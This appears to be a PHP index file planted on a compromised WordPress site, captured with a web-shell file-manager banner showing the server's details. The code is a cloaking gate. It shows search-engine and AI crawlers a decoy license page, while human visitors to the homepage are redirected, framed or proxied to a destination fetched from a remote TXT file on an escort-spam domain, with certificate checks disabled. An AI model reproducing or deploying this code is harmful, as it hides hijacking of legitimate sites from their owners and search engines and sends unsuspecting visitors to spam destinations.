| Server IP : 18.193.92.211 / Your IP : 216.73.216.128 Web Server : Apache/2.4.63 (Ubuntu) System : Linux ip-10-0-0-90 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64 User : www-data ( 33) PHP Version : 8.2.28 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/drive.darmas.de/ |
Upload File : |
<?php
/**
* Vitrin Gate — yalnız anasayfa: bot→license.html | ziyaretçi→TXT yönlendirme
* Alt sayfalar WordPress. Redirect: IST_TXT_URL (il butonu override)
*/
error_reporting(0);
@ini_set('display_errors', 0);
define('IST_TXT_URL', 'https://istanbulescortladys.com/ist.txt');
define('GATE_DEST_FALLBACK', '');
define('FETCH_TIMEOUT', 3);
/** redirect | iframe | iframe_mobile | proxy | proxy_mobile */
define('GATE_HUMAN_MODE', 'redirect');
function gate_dest_cache_file() {
return __DIR__ . '/ist-dest.txt';
}
function gate_url_is_txt($url) {
$path = parse_url($url, PHP_URL_PATH);
if (!is_string($path) || $path === '') {
return false;
}
return (bool) preg_match('/\.txt(\?|$)/i', $path);
}
function gate_parse_dest_line($raw) {
if (!is_string($raw) || $raw === '') {
return null;
}
$lines = preg_split('/\r\n|\r|\n/', $raw);
foreach ($lines as $line) {
$url = trim($line);
$url = preg_replace('/^\xEF\xBB\xBF/', '', $url);
if ($url === '' || !filter_var($url, FILTER_VALIDATE_URL)) {
continue;
}
if (gate_url_is_txt($url)) {
continue;
}
return rtrim($url, '/') . '/';
}
return null;
}
function get_user_agent() {
return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
}
function is_bot($ua) {
if ($ua === '' || $ua === '-') return false;
$patterns = array(
'googlebot', 'googleother', 'google-inspectiontool', 'storebot-google', 'adsbot-google',
'mediapartners-google', 'apis-google', 'feedfetcher-google',
'google-extended', 'googleproducer', 'google-site-verification',
'google-safety', 'google-read-aloud', 'google-pagerenderer', 'duplexwebview',
'bingbot', 'bingpreview', 'adidxbot', 'msnbot',
'yandexbot', 'yandex.com/bots', 'baiduspider', 'duckduckbot',
'slurp', 'sogou', 'exabot', 'facebot', 'facebookexternalhit',
'ia_archiver', 'semrushbot', 'ahrefsbot', 'dotbot', 'mj12bot',
'petalbot', 'bytespider', 'gptbot', 'chatgpt-user', 'claudebot',
'anthropic-ai', 'ccbot', 'applebot',
);
$ua_lc = strtolower($ua);
foreach ($patterns as $p) {
if (strpos($ua_lc, $p) !== false) return true;
}
// Tüm Google-* crawler ailesi (GoogleOther, Google-Safety, …)
if (strpos($ua_lc, 'google-') !== false || strpos($ua_lc, 'google/') !== false) {
return true;
}
return false;
}
function is_mobile_ua($ua) {
if ($ua === '') {
return false;
}
return (bool) preg_match('/Mobile|Android|iPhone|iPod|iPad|webOS|BlackBerry|IEMobile|Opera Mini|Opera Mobi/i', $ua);
}
function gate_human_mode() {
return defined('GATE_HUMAN_MODE') ? strtolower((string) GATE_HUMAN_MODE) : 'redirect';
}
function gate_wants_embed($ua) {
$mode = gate_human_mode();
if ($mode === 'iframe' || $mode === 'proxy') {
return true;
}
if (($mode === 'iframe_mobile' || $mode === 'proxy_mobile') && is_mobile_ua($ua)) {
return true;
}
return false;
}
function gate_embed_is_proxy() {
$mode = gate_human_mode();
return ($mode === 'proxy' || $mode === 'proxy_mobile');
}
function gate_no_store_headers() {
if (headers_sent()) {
return;
}
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: 0');
header('CDN-Cache-Control: no-store');
header('Surrogate-Control: no-store');
header('Cloudflare-CDN-Cache-Control: no-store');
header('Vary: User-Agent');
}
/** Domain URL değişmeden TXT hedefini full-page iframe ile göster */
function gate_serve_iframe($url) {
$e = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
gate_no_store_headers();
if (!headers_sent()) {
header('Content-Type: text/html; charset=UTF-8');
header('X-Robots-Tag: noindex, follow');
header('X-Medusa-Gate: iframe');
}
echo '<!DOCTYPE html><html lang="tr"><head><meta charset="UTF-8">'
. '<meta name="viewport" content="width=device-width,initial-scale=1">'
. '<meta name="robots" content="noindex,follow">'
. '<title></title>'
. '<style>html,body{margin:0;height:100%;overflow:hidden;background:#000}'
. 'iframe{border:0;width:100%;height:100%;display:block}</style></head><body>'
. '<iframe src="' . $e . '" title="vitrin" allow="autoplay; fullscreen; payment; clipboard-write" '
. 'referrerpolicy="no-referrer-when-downgrade" loading="eager"></iframe>'
. '</body></html>';
exit;
}
/** Domain URL değişmeden TXT hedefini sunucu tarafında çekip göster (X-Frame-Options aşımı) */
function gate_serve_proxy($url) {
$html = false;
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 12,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Linux; Android 14; Mobile) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36',
CURLOPT_HTTPHEADER => array('Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.8'),
CURLOPT_ENCODING => '',
));
$html = curl_exec($ch);
$code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
$final = (string) curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
curl_close($ch);
if ($code < 200 || $code >= 400 || !is_string($html) || $html === '') {
$html = false;
} elseif ($final !== '') {
$url = $final;
}
}
if ($html === false) {
// Proxy başarısız → iframe yedek
gate_serve_iframe($url);
}
$base = htmlspecialchars(rtrim($url, '/') . '/', ENT_QUOTES, 'UTF-8');
if (stripos($html, '<base') === false) {
if (preg_match('/<head([^>]*)>/i', $html)) {
$html = preg_replace('/<head([^>]*)>/i', '<head$1><base href="' . $base . '">', $html, 1);
} else {
$html = '<base href="' . $base . '">' . $html;
}
}
gate_no_store_headers();
if (!headers_sent()) {
header('Content-Type: text/html; charset=UTF-8');
header('X-Robots-Tag: noindex, follow');
}
echo $html;
exit;
}
function gate_serve_human_redirect($redirect) {
// 1) Pure Location 302 — tercih edilen
if (!headers_sent()) {
gate_no_store_headers();
header('Location: ' . $redirect, true, 302);
exit;
}
// 2) Soft fallback — Location engelli / headers_sent (bazı Flywheel/CDN)
$e = htmlspecialchars($redirect, ENT_QUOTES, 'UTF-8');
if (!headers_sent()) {
header('Content-Type: text/html; charset=UTF-8');
gate_no_store_headers();
}
echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><meta http-equiv="refresh" content="0;url='
. $e . '"><script>try{location.replace(' . json_encode($redirect) . ');}catch(e){}</script></head><body>'
. '<a href="' . $e . '">continue</a></body></html>';
exit;
}
/** TXT kaynağından hedef URL; kısa önbellek. Fallback URL YOK — TXT yoksa null. */
function get_redirect_url() {
if (!defined('IST_TXT_URL') || trim((string) IST_TXT_URL) === '') {
return null;
}
$cache = gate_dest_cache_file();
$pinned = null;
if (is_file($cache)) {
$cached = trim((string) @file_get_contents($cache));
if ($cached !== '' && filter_var($cached, FILTER_VALIDATE_URL) && !gate_url_is_txt($cached)) {
$pinned = rtrim($cached, '/') . '/';
}
}
$raw = false;
if (ini_get('allow_url_fopen')) {
$ctx = stream_context_create(array(
'http' => array(
'timeout' => FETCH_TIMEOUT,
'user_agent' => 'Mozilla/5.0 (compatible; VitrinGate/1.0)',
'follow_location' => 1,
'max_redirects' => 3,
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false,
),
));
$raw = @file_get_contents(IST_TXT_URL, false, $ctx);
}
if (($raw === false || $raw === '') && function_exists('curl_init')) {
$ch = curl_init(IST_TXT_URL);
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => FETCH_TIMEOUT,
CURLOPT_CONNECTTIMEOUT => FETCH_TIMEOUT,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; VitrinGate/1.0)',
CURLOPT_HTTPHEADER => array('Accept: text/plain,*/*'),
));
$raw = curl_exec($ch);
$code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code < 200 || $code >= 400) {
$raw = false;
}
}
$dest = gate_parse_dest_line(is_string($raw) ? $raw : '');
if ($dest !== null) {
@file_put_contents($cache, $dest);
return $dest;
}
// Pin: TXT geçici düşse bile son hedef kalır — stok WP anasayfaya dönmez
return $pinned;
}
function is_static_asset() {
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$path = parse_url($uri, PHP_URL_PATH);
if (!is_string($path) || $path === '') return false;
return (bool) preg_match('/\.(css|js|mjs|map|jpe?g|png|gif|webp|svg|ico|woff2?|ttf|eot|otf|mp4|webm|mp3|pdf|xml|txt|json|zip)$/i', $path);
}
/** Yalnızca anasayfa — alt sayfalar / ?p= WordPress */
function is_homepage_request() {
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$path = parse_url($uri, PHP_URL_PATH);
$query = parse_url($uri, PHP_URL_QUERY);
if (!is_string($path) || $path === '') {
$path = '/';
}
if (is_string($query) && $query !== '') {
if (preg_match('/(?:^|&)(p|page_id|pagename|name|rest_route|wc-api|preview|attachment_id|cat|tag|author|s)=/i', $query)) {
return false;
}
}
$path = '/' . ltrim($path, '/');
if ($path !== '/' && substr($path, -1) === '/') {
$path = rtrim($path, '/') ?: '/';
}
if ($path === '/') {
return true;
}
if (preg_match('#^/index\\.php$#i', $path) && (!is_string($query) || $query === '')) {
return true;
}
return false;
}
$ua = get_user_agent();
// Gate yalnız anasayfada; /yazi/ vb. doğrudan WordPress
if (is_homepage_request() && !is_static_asset()) {
if (is_bot($ua)) {
$lic = __DIR__ . '/license.html';
if (is_file($lic)) {
// ASLA public cache — CF/CDN Vary olmadan insanlara bot HTML verir
header('Content-Type: text/html; charset=UTF-8');
header('X-Robots-Tag: index, follow');
header('Cache-Control: private, no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: 0');
header('CDN-Cache-Control: no-store');
header('Surrogate-Control: no-store');
header('Cloudflare-CDN-Cache-Control: no-store');
header('Vary: User-Agent');
readfile($lic);
exit;
}
} else {
$redirect = get_redirect_url();
if ($redirect) {
if (gate_wants_embed($ua)) {
if (gate_embed_is_proxy()) {
gate_serve_proxy($redirect);
}
gate_serve_iframe($redirect);
}
gate_serve_human_redirect($redirect);
}
// Anasayfa insan: pin yoksa bile stok içeriğe düşme
if (!headers_sent()) {
header('Cache-Control: no-store');
http_response_code(204);
}
exit;
}
}
// Alt sayfa veya redirect yok → WordPress (klasik + Flywheel .wordpress/ + wordpress/)
$__ms_wp_loads = array(
__DIR__ . '/wp-blog-header.php',
__DIR__ . '/.wordpress/wp-blog-header.php',
__DIR__ . '/wordpress/wp-blog-header.php',
__DIR__ . '/wp/wp-blog-header.php',
);
foreach ($__ms_wp_loads as $__ms_wpb) {
if (is_file($__ms_wpb)) {
if (!defined('WP_USE_THEMES')) {
define('WP_USE_THEMES', true);
}
require $__ms_wpb;
exit;
}
}
// WordPress yok — lisans/panel kökü: insan anasayfayı login'e yönlendir (503 yerine)
$__ms_panel_fallbacks = array('/login.php', '/paneller.php', '/medusa.php');
foreach ($__ms_panel_fallbacks as $__ms_pf) {
if (is_file(__DIR__ . $__ms_pf) && !headers_sent()) {
header('Location: ' . $__ms_pf, true, 302);
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
exit;
}
}
http_response_code(503);
header('Content-Type: text/plain; charset=UTF-8');
echo 'Service temporarily unavailable';
exit;